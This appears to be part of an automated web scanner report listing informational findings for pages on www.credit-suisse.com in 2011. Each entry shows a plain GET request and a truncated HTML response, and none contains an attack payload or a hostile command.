X-JAL: 397
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 1855
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<div class="content-large">

<div class="jive-widget-rssfeed">
<div class="jive-widget-rssfeed-entry">
<di
...[SNIP]...

17.5. https://www.credit-suisse.com/about_us/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/about_us/en/

Request

GET /about_us/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.6. https://www.credit-suisse.com/about_us/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/about_us/en/index.jsp

Request

GET /about_us/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/investment_banking/en/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0; WT_FPC=id=2d3afed903236bcd0051316482406749:lv=1316482550598:ss=1316482406749

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:26 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.7. https://www.credit-suisse.com/about_us/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/about_us/it/index.jsp

Request

GET /about_us/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:50:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16954

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.8. https://www.credit-suisse.com/asset_management/global_includes/alternativeinvestments/en/bio/filippo_rima_cfa.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/asset_management/global_includes/alternativeinvestments/en/bio/filippo_rima_cfa.jsp

Request

GET /asset_management/global_includes/alternativeinvestments/en/bio/filippo_rima_cfa.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:46:09 GMT
Content-Length: 6203
Content-Type: text/html; charset=UTF-8
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.9. https://www.credit-suisse.com/asset_management/global_includes/extensions/klp2_big_image.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/asset_management/global_includes/extensions/klp2_big_image.css

Request

GET /asset_management/global_includes/extensions/klp2_big_image.css HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/css,*/*;q=0.1
Referer: https://www.credit-suisse.com/us/asset_management/en/index.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:35 GMT
Accept-Ranges: bytes
Content-Length: 220
Content-Type: text/css
Last-Modified: Fri, 18 Feb 2011 14:06:28 GMT
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<style type="text/css">
   #klp2 div#mainArea { clear:both; }
   div.header-section-klp img.moodimage { height:257px; width:990px; }
   div.header-section-klp { height:25em; margin-bottom:0em; position:r
...[SNIP]...

17.10. https://www.credit-suisse.com/careers/berufslehren/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/berufslehren/en/index.jsp

Request

GET /careers/berufslehren/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15025

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">





<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<meta content="apprenticeships credit suisse" lang="en" name="keywords"/><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='INDEX' />
...[SNIP]...

17.11. https://www.credit-suisse.com/careers/campus_recruiting/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/campus_recruiting/en/

Request

GET /careers/campus_recruiting/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:24 GMT
Content-Length: 2969
Content-Type: text/html; charset=UTF-8
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...

17.12. https://www.credit-suisse.com/careers/campus_recruiting/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/campus_recruiting/en/index.jsp

Request

GET /careers/campus_recruiting/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:25 GMT
Content-Length: 2969
Content-Type: text/html; charset=UTF-8
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...

17.13. https://www.credit-suisse.com/careers/de/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/de/index.jsp

Request

GET /careers/de/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:50:15 GMT
Content-Length: 2919
Content-Type: text/html; charset=UTF-8
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta
...[SNIP]...

17.14. https://www.credit-suisse.com/careers/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/en/

Request

GET /careers/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:16 GMT
Content-Length: 2913
Content-Type: text/html; charset=UTF-8
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta
...[SNIP]...

17.15. https://www.credit-suisse.com/careers/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/en/index.jsp

Request

GET /careers/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.16. https://www.credit-suisse.com/careers/experienced_professionals/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/experienced_professionals/en/

Request

GET /careers/experienced_professionals/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 25157

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.17. https://www.credit-suisse.com/careers/experienced_professionals/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/experienced_professionals/en/index.jsp

Request

GET /careers/experienced_professionals/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 25157

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.18. https://www.credit-suisse.com/careers/mittelschulabsolventen/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/careers/mittelschulabsolventen/en/index.jsp

Request

GET /careers/mittelschulabsolventen/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15097

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">





<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<meta content="apprenticeships credit suisse" lang="en" name="keywords"/><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='INDEX' />
...[SNIP]...

17.19. https://www.credit-suisse.com/ch/asset_management/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/asset_management/en/index.jsp

Request

GET /ch/asset_management/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22106

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.20. https://www.credit-suisse.com/ch/de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/de/

Request

GET /ch/de/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 26171

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">

...[SNIP]...

17.21. https://www.credit-suisse.com/ch/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/en/

Request

GET /ch/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:47:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 25991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.22. https://www.credit-suisse.com/ch/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/en/index.jsp

Request

GET /ch/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 25991

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.23. https://www.credit-suisse.com/ch/fr/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/fr/index.jsp

Request

GET /ch/fr/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 26057

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">

...[SNIP]...

17.24. https://www.credit-suisse.com/ch/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/it/index.jsp

Request

GET /ch/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 26365

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">

...[SNIP]...

17.25. https://www.credit-suisse.com/ch/unternehmen/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/unternehmen/en/index.jsp

Request

GET /ch/unternehmen/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 24241

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.26. https://www.credit-suisse.com/ch/unternehmen/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ch/unternehmen/it/index.jsp

Request

GET /ch/unternehmen/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:47:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 23233

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">

...[SNIP]...

17.27. https://www.credit-suisse.com/cookie-check/CookieCheckError.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/cookie-check/CookieCheckError.html

Request

GET /cookie-check/CookieCheckError.html?trg=EMSn8q308XkqXkRop7RBUw2pATSQhmoHezLpa7-FiybCxx6OSSDPz3brZ79lrfUlvo9r3k1Zh1w$ HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.credit-suisse.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SCDID_S=fC3_ZPcPH8pdto3Bx8PqHRizHqsF-HgY2kRIFBUVbXmHYb6DbUHGww$$

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:27:36 GMT
Server: Credit Suisse Entry Server
Last-Modified: Thu, 14 Oct 2010 13:13:16 GMT
ETag: "4d2e-2e4a-4929379135300"
Accept-Ranges: bytes
Content-Length: 11850
Content-Type: text/html
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title>Cr
...[SNIP]...

17.28. https://www.credit-suisse.com/forms/asset_management/en/contact_am_us.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/forms/asset_management/en/contact_am_us.jsp

Request

GET /forms/asset_management/en/contact_am_us.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:46:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20640

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">





<html xmlns="http://www.w3.org/1999/xhtml" xmlns:x="strin
...[SNIP]...

17.29. https://www.credit-suisse.com/global/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/global/en/

Request

GET /global/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:34 GMT
Content-Length: 11172
Content-Type: text/html; charset=UTF-8
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.30. https://www.credit-suisse.com/governance/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/governance/en/

Request

GET /governance/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.31. https://www.credit-suisse.com/governance/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/governance/en/index.jsp

Request

GET /governance/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

17.32. https://www.credit-suisse.com/ib/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/ib/

Request

GET /ib/ HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.csfb.com/institutional/equities/sd_products.shtml
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0; WT_FPC=id=2d3afed903236bcd0051316482406749:lv=1316482406749:ss=1316482406749

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:37:56 GMT
Content-Length: 174
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:jsp="http://java.sun.com/JSP/Page">
<head>
<meta http-equiv="refresh" content="0; URL=/investment_banking"/>
</head>
</html>

17.33. https://www.credit-suisse.com/index/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/index/en/

Request

GET /index/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 56317

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.34. https://www.credit-suisse.com/investment_banking/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/

Request

GET /investment_banking/ HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/ib/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0; WT_FPC=id=2d3afed903236bcd0051316482406749:lv=1316482406749:ss=1316482406749

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:38:06 GMT
Accept-Ranges: bytes
Content-Length: 84
Content-Type: text/html
Last-Modified: Wed, 19 May 2010 08:04:06 GMT
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<html>
   <head>
       <meta http-equiv='refresh' content='0; URL=./en'>
   </head>
</html>

17.35. https://www.credit-suisse.com/investment_banking/about_ib/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/about_ib/en/index.jsp

Request

GET /investment_banking/about_ib/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.36. https://www.credit-suisse.com/investment_banking/advisory_services/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/advisory_services/en/

Request

GET /investment_banking/advisory_services/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17083

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.37. https://www.credit-suisse.com/investment_banking/advisory_services/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/advisory_services/en/index.jsp

Request

GET /investment_banking/advisory_services/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:43 GMT
